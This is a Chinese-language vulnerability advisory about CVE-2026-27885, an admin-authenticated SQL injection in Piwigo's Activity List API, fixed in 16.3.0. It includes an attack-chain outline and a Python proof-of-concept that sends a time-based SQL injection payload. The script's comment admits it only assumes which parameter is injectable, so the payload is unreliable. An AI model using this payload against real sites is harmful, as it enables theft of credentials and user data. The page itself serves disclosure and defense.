IPBUF安全漏洞报告
English
CVE-2026-27885 CVSS 7.2 高危

CVE-2026-27885 Piwigo管理员SQL注入漏洞

披露日期: 2026-04-03

漏洞信息

漏洞编号
CVE-2026-27885
漏洞类型
SQL注入
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Piwigo

相关标签

SQL注入PiwigoWeb安全CVE-2026-27885高危漏洞

漏洞概述

Piwigo在16.3.0之前的版本中,Activity List API端点存在SQL注入漏洞。经过身份验证的管理员可利用此漏洞从数据库中提取敏感数据,包括用户凭证、电子邮件地址及所有存储内容。该漏洞已在16.3.0版本中修复。

技术细节

该漏洞位于Piwigo的Activity List API接口中,其根本原因是应用程序在构建数据库查询时,对管理员提交的特定参数缺乏严格的输入校验和有效的参数化查询机制。尽管利用此漏洞需要攻击者拥有较高的管理员权限,但在管理员凭证泄露或内部攻击的场景下,该漏洞极易被利用。攻击者可以通过向受影响的端点发送精心构造的恶意HTTP请求,将SQL控制字符注入到后端查询语句中。利用技术包括基于联合查询(UNION)的数据提取或布尔盲注。成功利用后,攻击者能够读取数据库中的敏感信息,如用户凭据哈希、私人邮件及所有图片元数据,严重威胁数据安全。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站运行的是受影响版本的Piwigo(< 16.3.0)。
STEP 2
步骤2
攻击者通过钓鱼、暴力破解或其他手段获取Piwigo管理员账户的认证凭证。
STEP 3
步骤3
攻击者使用管理员凭证登录,并向Activity List API端点发送包含恶意SQL语句的特制HTTP请求。
STEP 4
步骤4
后端数据库执行恶意SQL查询,将用户凭证、邮箱等敏感数据返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL and Admin Session target_url = "http://localhost/piwigo/ws.php?format=json" admin_cookie = {"pwg_id": "your_admin_session_cookie"} # Vulnerable parameter in Activity List API # Assuming 'order' or similar parameter is injectable payload = { "method": "pwg.activities.getActivityList", "order": "id ASC; SELECT SLEEP(5)-- " } try: response = requests.post(target_url, cookies=admin_cookie, data=payload) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Time-based SQL injection detected.") else: print("[-] Vulnerability not detected or payload incorrect.") print("Response:", response.text) except Exception as e: print(f"Error: {e}")

影响范围

Piwigo < 16.3.0

防御指南

临时缓解措施
如果无法立即升级,建议严格限制管理员账户的网络访问来源,并部署Web应用防火墙(WAF)以拦截针对API端点的常见SQL注入攻击模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表